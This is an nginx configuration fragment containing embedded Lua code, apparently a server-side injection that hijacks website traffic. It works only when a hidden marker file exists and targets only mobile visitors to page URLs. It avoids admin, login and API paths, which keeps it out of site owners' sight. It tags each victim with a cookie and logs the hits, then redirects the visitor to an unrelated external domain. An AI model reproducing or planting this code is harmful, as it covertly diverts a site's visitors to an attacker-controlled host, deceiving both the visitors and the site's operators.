rewrite_by_lua '


function file_exists(path)
	local file = io.open(path, "rb")
	if file then file:close() end
	return file ~= nil
end

function writeMsg(host,url,msg)

	if (file_exists("/var/tmp/count"))
	then
		file=io.open("/var/tmp/msg.txt","a");
		io.output(file);
		io.write(string.format("%s%s	---%s\\n",host,url,msg));
		io.close()
	end
end

function string.indexOf(s, pattern, init)
    init = init or 0
    local index = string.find(s, pattern, init, true)
    return index or -1;
end

function string.insert(str,index,insertStr)
    local first = string.sub(str,1,index-1)
    local last = string.sub(str,index,-1)
    local createStr = string.format("%s%s%s",first,insertStr,last)
    return createStr
end


local ngx = require "ngx";
local url = ngx.var.uri;
local host = ngx.var.host;
local agent = ngx.var.http_user_agent
local request_url = ngx.var.request_uri;
local request_method = ngx.var.request_method;

if (file_exists("/var/tmp/1") ~= true)
then
	return;
end

request_url = string.format(" url: %s %s%s",request_method,host,request_url);


if agent ~= nil then
	agent = string.lower(agent)
    local m, ret = ngx.re.match(agent, "android|webos|iphone|ipod")
    if m == nil then
		return
	end
end


if(url==nil)then
	return
end


url = string.lower(url);


if(url~="/") then 
	local m, ret = ngx.re.match(url, "html$|htm$|php$");
	if m == nil then
		return
	end
end


if(url ~= nil and (string.indexOf(url,"api")>=1 or 
   string.indexOf(url,"admin")>=1 or
   string.indexOf(url,"user")>=1 or
   string.indexOf(url,"manager")>=1 or
   string.indexOf(url,"config")>=1 or
   string.indexOf(url,"login")>=1 or
   string.indexOf(url,".txt")>=1 or
   string.indexOf(url,".xml")>=1 or
   string.indexOf(url,".css")>=1 or
   string.indexOf(url,".gif")>=1 or
   string.indexOf(url,".png")>=1 or
   string.indexOf(url,".jpg")>=1 or
   string.indexOf(url,".ico")>=1 or
   string.indexOf(url,".bmp")>=1))
then
	return;
end

local raw_cookie = ngx.req.get_headers()["Cookie"];

if(raw_cookie ~= nil and string.indexOf(raw_cookie,"__duid=2_fcbe15baae4c95c341425f51ab4bd6e41666175281578")>=1)
then
	return;
end

ngx.update_time();
math.randomseed(tonumber(tostring(ngx.now()*1000):reverse():sub(1, 9)));
local rand = math.random(1,100);
writeMsg(host,request_url,rand);


ngx.header["Cache-Control"] = "no-cache, must-revalidate";
ngx.header["Expires"] = "Mon, 26 Jul 1970 05:00:00 GMT";
local expires = 3600 * 24 * 3 
ngx.header["Set-Cookie"] = "__duid=2_fcbe15baae4c95c341425f51ab4bd6e41666175281578; Path=/; Expires=" .. ngx.cookie_time(ngx.time() + expires);


local mm=os.date("%M");
local hh=os.date("%H");

ngx.redirect("https://dyfp29.fxa5j.com", ngx.HTTP_MOVED_TEMPORARILY);



';